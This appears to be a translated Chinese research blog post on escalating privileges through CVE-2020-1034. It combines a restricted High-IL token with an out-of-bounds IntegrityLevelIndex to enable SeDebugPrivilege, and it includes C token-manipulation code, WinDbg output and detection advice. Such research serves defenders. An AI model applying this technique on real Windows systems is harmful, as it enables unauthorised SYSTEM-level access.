一个简单Windows内核漏洞的深度利用(CVE-2020-1034)

0x00 前言

在上一篇文章中,我分析了CVE-2020-1034,该漏洞允许我们增加任意地址,我们在掌握了ETW内部原理之后就可以利用这一漏洞,为我们的进程增加SeDebugPrivilege权限并创建一个提升后的进程。在这篇文章中,我们将再增加一些限制条件,并深入分析如何能够绕过这些限制条件,最终仍然获得我们想要的结果。如果是从低IL或中IL实现到系统级别的权限提升,无疑会使这一过程的难度提高一个层次。

0x01 新的限制

在上一篇文章中,我编写了一个漏洞利用代码,但我们想象在此基础上内核增加了新的限制,从而不再允许我们直接增加Token.Privileges.Enabled。例如,设置了一个只读字段,仅允许特定内核代码可以修改。那么在这种情况下,我们如何在不增加地址的情况下启用特权?

0x02 启用特权

这个问题的答案非常简单,如同进程可以启用其拥有但被禁用的其他任意特权一样,我们可以通过RtlAdjustPrivilege或其advapi32 wrapper AdjustTokenPrivileges来启用SeDebugPrivilege特权。但是,这里遇到了一个问题,当我们尝试调用RtlAdjustPrivilege启用新添加的SeDebugPrivilege时,我们会返回STATUS_PRIVILEGE_NOT_HELD。

要了解为什么会发生这种情况,我们需要查看与启用特权相关的内核函数,这部分代码的可读性非常差。为了尝试启用特权,RtlAdjustPrivilege使用系统调用NtAdjustPrivilegesToken。这个函数首先检查进程是否正在以高、中、低完整性级别运行。如果具有较高的完整性级别,则可以启用它拥有的任何特权。但是,如果发现正在以中等完整性级别运行,则会进行以下检查:

1.png

每个请求的特权都会对照这个常数值进行检查,这个常数表示允许中等完整性级别进程具有的特权。SeDebugPrivilege的值为0x100000 (1 << 20),可以看到我们所需的特权不在其涵盖的范围之内,因此没有以高完整性级别运行的进程都无法启用这一特权。如果我们选择以低完整性级别或者在AppContainer中运行进程,那么这些进程将会进行类似的检查,但限制值会更大。如同往常一样,简单的方法遭遇了失败。但是,总会有解决这个问题的方法,我们只需要对操作系统进行更深入的研究就能找到这些方法。

0x03 虚假EoP指向真正的EoP

我们需要得到较高完整性级别或者系统级的进程才能启用调试特权,但我们又打算利用调试特权将自身(子进程)提升到系统级别。因此,就陷入了一个死循环。

但真实情况并非如此,实际上我们并不需要较高级别或系统级别的IL进程,只需要一个较高级别或系统级别IL的令牌即可。进程并不是必须使用创建时所使用的令牌。线程可以模拟它们拥有的任何令牌,包括具有更高完整性级别的令牌。不过,要实现这一点,我们需要处理一个具有更高IL的进程的句柄,从而复制令牌和模拟令牌。为了打开这样一个进程的句柄,我们需要一些目前没有获得的特权,例如调试特权。这样一来,就陷入了死循环。

然而,这一环节中可能存在漏洞。如果我们能够创建满足要求的令牌,就无需再使用其他进程的令牌。

要了解如何实现这一点,我们首先需要掌握有关Windows安全模型和完整性级别工作原理的知识。我和Alex以及James Forshaw展示了这个方案,并且得到了他们的认可。

0x04 利用令牌、完整性级别以及未受保护的数组

要检查令牌的完整性级别,我们需要查看TOKEN结构中名为IntegrityLevelIndex的字段。我们可以将其进行转储,以查看其中包含的内容:

dx ((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->IntegrityLevelIndex
((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->IntegrityLevelIndex : 0xe [Type: unsigned long]

顾名思义,这个值本身不能给我们太多信息,因为它只是SID_AND_ATTRIBUTES结构数组中的一个索引,被UserAndGroups字段指向。通过查看SepLocateTokenIntegrity可以证实这一点,该方法由SepAdjustPrivileges调用,以确定要调整其特权的令牌的完整性级别。

2.png

这个数组有多个条目,具体的数量随进程的不同而变化。可以根据UserAndGroupCount字段查看具体的数量:

dx ((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->UserAndGroupCount
((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->UserAndGroupCount : 0xe [Type: unsigned long]
dx -g *((nt!_SID_AND_ATTRIBUTES(*)[0xe])((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->UserAndGroups)

3.png

顾名思义,SID_AND_ATTRIBUTES结构中包含一个安全描述符(SID)及其特定属性。这些属性取决于我们正在使用的数据类型,我们可以在这里找到这些属性的含义。结构的安全标识符部分会告诉我们这个令牌属于哪个用户和组。这个信息可以确定令牌的完整性级别,以及令牌可以在系统上进行的操作。例如,只有某些组可以访问特定进程和文件。在上一篇文章中我们也提到过,大多数GUID仅允许特定组进行注册。SID的歌是为S-1-X-…,比较易于识别。

我们可以改进WinDbg查询,从而以清晰的格式展示令牌所属的所有组:

dx –s @$sidAndAttr = *((nt!_SID_AND_ATTRIBUTES(*)[0xf])((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->UserAndGroups)
dx -g @$sidAndAttr.Select(s => new {Attributes = s->Attributes, Sid = Debugger.Utility.Control.ExecuteCommand("!sid " + ((__int64)(s->Sid)).ToDisplayString("x"))[0].Remove(0, 8)})

4.png

令牌指向的条目0xe是表中的最后一个条目,它是中等完整性级别的SID,这也就是我们无法启用调试特权的原因。但是,该系统的设计为我们提供了一种绕过完整性级别的方法。UserAndGroups字段指向数组,但是数组是在TOKEN结构之后立即分配的。这并不是在这一内存块中的最后一项工作。如果我们转储TOKEN结构,可以看到在UserAndGroups字段之后,还有另一个指向相同格式数组的指针,名为RestrictedSids。

[+0x098] UserAndGroups    : 0xffffad8914e1e4f0 [Type: _SID_AND_ATTRIBUTES *]    
[+0x0a0] RestrictedSids   : 0x0 [Type: _SID_AND_ATTRIBUTES *]

受限令牌是一种通过仅允许令牌访问其ACL允许访问SID的对象,来限制特定进程或线程所具有的访问权限的方法。例如,如果令牌有针对“Bob”的受限SID,那么使用此令牌的进程或线程只能在文件明确允许访问“Bob”的情况下访问文件。即使“Bob”是允许访问文件的组成员(例如Users或Everyone),除非文件事先知道是“Bob”尝试访问它并将SID添加到ACL,否则将拒绝访问。有时,在服务中会使用这一功能,限制只能访问其使用所必需的对象,减少潜在的攻击面。受限令牌还可以用于从令牌中删除不需要的默认特权。例如,BFR服务使用写入受限令牌,这意味着它对任何对象仅具有读取访问权限,但只能对显式允许其SID的对象获得写访问权限。

5.png

关于受限令牌,有两点比较重要的事情,可以帮助我们实现特权提升:

1、受限SID数组在UserAndGroups数组之后立即分配。

2、可以为任意SID创建受限令牌,包括该进程当前没有的令牌。

这两个事实表明,即使是一个较低或中等完整性级别的进程,也可以为较高完整性进程的SID创建一个受限令牌并模拟它。这会在UserAndGroups数组之后立即向RestrictedSids数组添加一个新的SID_AND_ATTRIBUTES条目,其方式可以看作是UserAndGroups数组的下一个条目。当前的IntegrityLevelIndex指向UserAndGroups数组中的最后一个条目,因此索引的增加会使其指向高完整性级别的新受限令牌。那么,我们能否获得一个任意增加漏洞呢?

6.png

我们来尝试一下。首先使用CreateWellKnownSid创建一个WinHighLabelSid,然后使用CreateRestrictedToken创建一个具有较高完整性级别SID的新受限令牌,然后进行模拟:

HANDLE tokenHandle;
HANDLE newTokenHandle;
HANDLE newTokenHandle2;
PSID pSid;
PSID_AND_ATTRIBUTES sidAndAttributes;
DWORD sidLength = 0;
BOOL bRes;
//
// Call CreateWellKnownSid once to check the needed size for the buffer
//
CreateWellKnownSid(WinHighLabelSid, NULL, NULL, &sidLength);
//
// Allocate a buffer and create a high IL SID
//
pSid = malloc(sidLength);
CreateWellKnownSid(WinHighLabelSid, NULL, pSid, &sidLength);
//
// Create a restricted token and impersonate it
//
sidAndAttributes = (PSID_AND_ATTRIBUTES)malloc(0x20);
sidAndAttributes->Sid = pSid;
sidAndAttributes->Attributes = 0;
bRes = OpenProcessToken(GetCurrentProcess(),
                        TOKEN_ALL_ACCESS,
                        &tokenHandle);
if (bRes == FALSE)
{
    printf("OpenProcessToken failed\n");
    return 0;
}
bRes = CreateRestrictedToken(tokenHandle,
                             WRITE_RESTRICTED,
                             0,
                             NULL,
                             0,
                             NULL,
                             1,
                             sidAndAttributes,
                             &newTokenHandle2);
if (bRes == FALSE)
{
    printf("CreateRestrictedToken failed\n");
    return 0;
}
bRes = ImpersonateLoggedOnUser(newTokenHandle2);
if (bRes == FALSE)
{
    printf("Impersonation failed\n");
    return 0;
}

接下来,我们看看线程令牌和其所在组。注意,我们正在模拟这个新令牌,因此需要检查线程的模拟令牌,因为我们的主进程令牌不会受到下述影响。

dx -s @$token = ((nt!_TOKEN*)(@$curthread.KernelObject.ClientSecurity.ImpersonationToken & ~0xf))
dx new {GroupsCount = @$token->UserAndGroupCount, UserAndGroups = @$token->UserAndGroups, RestrictedCount = @$token->RestrictedSidCount, RestrictedSids = @$token->RestrictedSids, IntegrityLevelIndex = @$token->IntegrityLevelIndex}
new {GroupsCount = @$token->UserAndGroupCount, UserAndGroups = @$token->UserAndGroups, RestrictedCount = @$token->RestrictedSidCount, RestrictedSids = @$token->RestrictedSids, IntegrityLevelIndex = @$token->IntegrityLevelIndex}
GroupsCount      : 0xf [Type: unsigned long]
UserAndGroups    : 0xffffad890d5ffe00 [Type: _SID_AND_ATTRIBUTES *]
RestrictedCount  : 0x1 [Type: unsigned long]
RestrictedSids   : 0xffffad890d5ffef0 [Type: _SID_AND_ATTRIBUTES *]
IntegrityLevelIndex : 0xe [Type: unsigned long]

UserAndGroups仍然具有0xf条目,且此时我们的IntegrityLevelIndex仍然为0xe,与主令牌一致。不过现在,我们就拥有了一个受限SID。前面我提到过,由于内存布局,我们可以将这个受限SID视为UserAndGroups数组中的其他条目,我们可以对此进行测试。接下来,我们尝试使用与之前相同的方式转储数组,但这里假设它具有0x10条目:

dx -s @$sidAndAttr = *((nt!_SID_AND_ATTRIBUTES(*)[0x10])@$token->UserAndGroups)
dx -g @$sidAndAttr.Select(s => new {Attributes = s->Attributes, Sid = Debugger.Utility.Control.ExecuteCommand("!sid " + ((__int64)(s->Sid)).ToDisplayString("x"))[0].Remove(0, 8)})

7.png

结果证明是有效的!现在就有了0x10个有效条目,最后一个具有较高完整性级别的SID,就如同我们最开始希望的那样。

现在,我们就可以使用与之前相同的方式运行漏洞利用程序,只不过这里有两处调整:

1、所有更改都需要使用我们当前的线程令牌,而不再是主进程令牌。

2、我们需要触发两次漏洞利用,第一次增加Privileges.Present以设置SeDebugPrivilege特权,第二次增加IntegrityLevelIndex以指向0xf条目。

在这一过程中,没有验证IntegrityLevelIndex是否低于UserAndGroupCount。即使有这样的验证过程,我们也可以再次利用相同的漏洞来修改其级别。因此,当新的模拟令牌指向较高完整性级别的SID时,SepAdjustPrivileges就会认为它正在以较高完整性级别的进程运行,并允许我们启用所需的任意特权。在对漏洞利用进行修改后,我们可以再次尝试运行,并看到RtlAdjustPrivileges这次返回STATUS_SUCCESS。但是,我并不完全相信API,而是想要亲自检查一下:

8.png

或者,如果大家更喜欢使用WinDbg:

dx -s @$t0 = ((nt!_TOKEN*)(@$curthread.KernelObject.ClientSecurity.ImpersonationToken & ~0xf))
1: kd> !token @$t0 -n
_TOKEN 0xffffad89168c4970
TS Session ID: 0x1
User: S-1-5-21-2929524040-830648464-3312184485-1000 (User:DESKTOP-3USPPSB\yshafir)
User Groups:
...
Privs:
19 0x000000013 SeShutdownPrivilege               Attributes -
20 0x000000014 SeDebugPrivilege                  Attributes - Enabled
23 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default
25 0x000000019 SeUndockPrivilege                 Attributes -
33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes -
34 0x000000022 SeTimeZonePrivilege               Attributes -
Authentication ID:         (0,2a084)
Impersonation Level:       Impersonation
TokenType:                 Impersonation
...
RestrictedSidCount: 1      
RestrictedSids: 0xffffad89168c4ef0
Restricted SIDs:
00 S-1-16-12288 (Label: Mandatory Label\High Mandatory Level)
Attributes - Mandatory Default Enabled
…

如同最开始的目标,现在我们的模拟令牌已经拥有了SeDebugPrivilege。现在,我们就可以执行之前的操作,在DcomLaunch服务下运行提升权限后的cmd.exe。您可能会想,既然我们已经拥有了高完整性级别的令牌,是否还需要沿用之前的方式呢?实际上,受限令牌并不是真正意义上的常规令牌,如果尝试使用受限令牌作为虚假的提升权限进程来运行,可能会遇到一些问题,并且对于扫描进程的防御工具来说,看上去也非常可疑。综合考虑,最好的方案还是创建一个可以以SYSTEM身份运行且没有太多可疑之处的新进程。

0x05 检测方式

我们使用的方法非常巧妙,这种方式不仅能欺骗系统,而且还很难被发现。对于防御者来说,最有效的判断方式是确认IntegrityLevelIndex是否属于UserAndGroups数组的范围。但即使是进行了这样的确认,攻击者也很容易再次触发漏洞并增加UserAndGroupCount。如果根据计数来计算UserAndGroup数组的结束地址,并将其与RestrictedSids数组的起始地址进行比较,看二者是否匹配,这种方法仍然是有效的。不过,这样的检测方式非常有针对性,需要针对这种不常见的攻击方式进行深入分析后才能得到这种方法。

还有第二种方法,就是搜索模拟受限令牌的线程。这是非常不常见的情况,在我进行搜索时,得到的唯一结果就是我的漏洞利用:

dx @$cursession.Processes.Where(p => p.Threads.Where(t => t.KernelObject.ActiveImpersonationInfo != 0 && ((nt!_TOKEN*)(t.KernelObject.ClientSecurity.ImpersonationToken & ~0xf))->RestrictedSidCount != 0).Count() != 0)
@$cursession.Processes.Where(p => p.Threads.Where(t => t.KernelObject.ActiveImpersonationInfo != 0 && ((nt!_TOKEN*)(t.KernelObject.ClientSecurity.ImpersonationToken & ~0xf))->RestrictedSidCount != 0).Count() != 0)
[0x279c]         : exploit_part_2.exe [Switch To]

不过这是一个非常有针对性的搜索,只能够发现这种特殊的漏洞利用场景。并且,如果攻击者在启用特权后将线程恢复为原始令牌,这种检测方法就失效了。作为攻击者来说,这无疑是一个好习惯,不要让漏洞利用产生的“可疑”属性保持太长时间,从而就可以尽可能地规避被检测到的风险。与此同时,我在上一篇文章中提到的检测方式仍然适用于这里的场景,因为我们利用的漏洞相同、触发方式相同、仍然注册了一个新的ETW提供程序并且其他人都没有使用它、仍然留下了一个占用的位置且无法清空。因此,如果我们足够了解漏洞利用的过程,就有足够多的条件可以实现检测。

当然,在这里还有一点不同以往,就是中等完整性级别的进程会突然抢占SeDebugPrivilege,打开DcomLaunch的句柄,并创建一个新的父级提升权限的进程。这样的特征可能会成为EDR产品的一些检测指标。

0x06 总结

这篇文章描述了一个假设的场景,在这样的场景中,我们不能再简单地在进程令牌中增加Privileges.Enabled。我们目前在日常中还不需要使用这些独特的技巧,但是这些技巧是非常容易找到和利用的,就如同DIY CTF一样,也许这些技巧某一天会在另一个场景中有所帮助。这些技巧清晰地表明,令牌中包括许多值得关注的字段,可以以各种方式利用。与此同时,我们需要对一些内部原理知识有更深入的了解。

由于令牌非常容易受到攻击,并且不会经常更改,所以作为防御措施,可以考虑将其转移到安全池之中。

上篇文章和这篇文章中,我最终获得了SeDebugPrivilege,并使用了一些技巧来创建一个提升权限后的进程。在后续的文章中,我将会介绍一些其他特权,这些特权在漏洞利用的过程中经常会被忽略,并且可以以出人意料的方式来利用。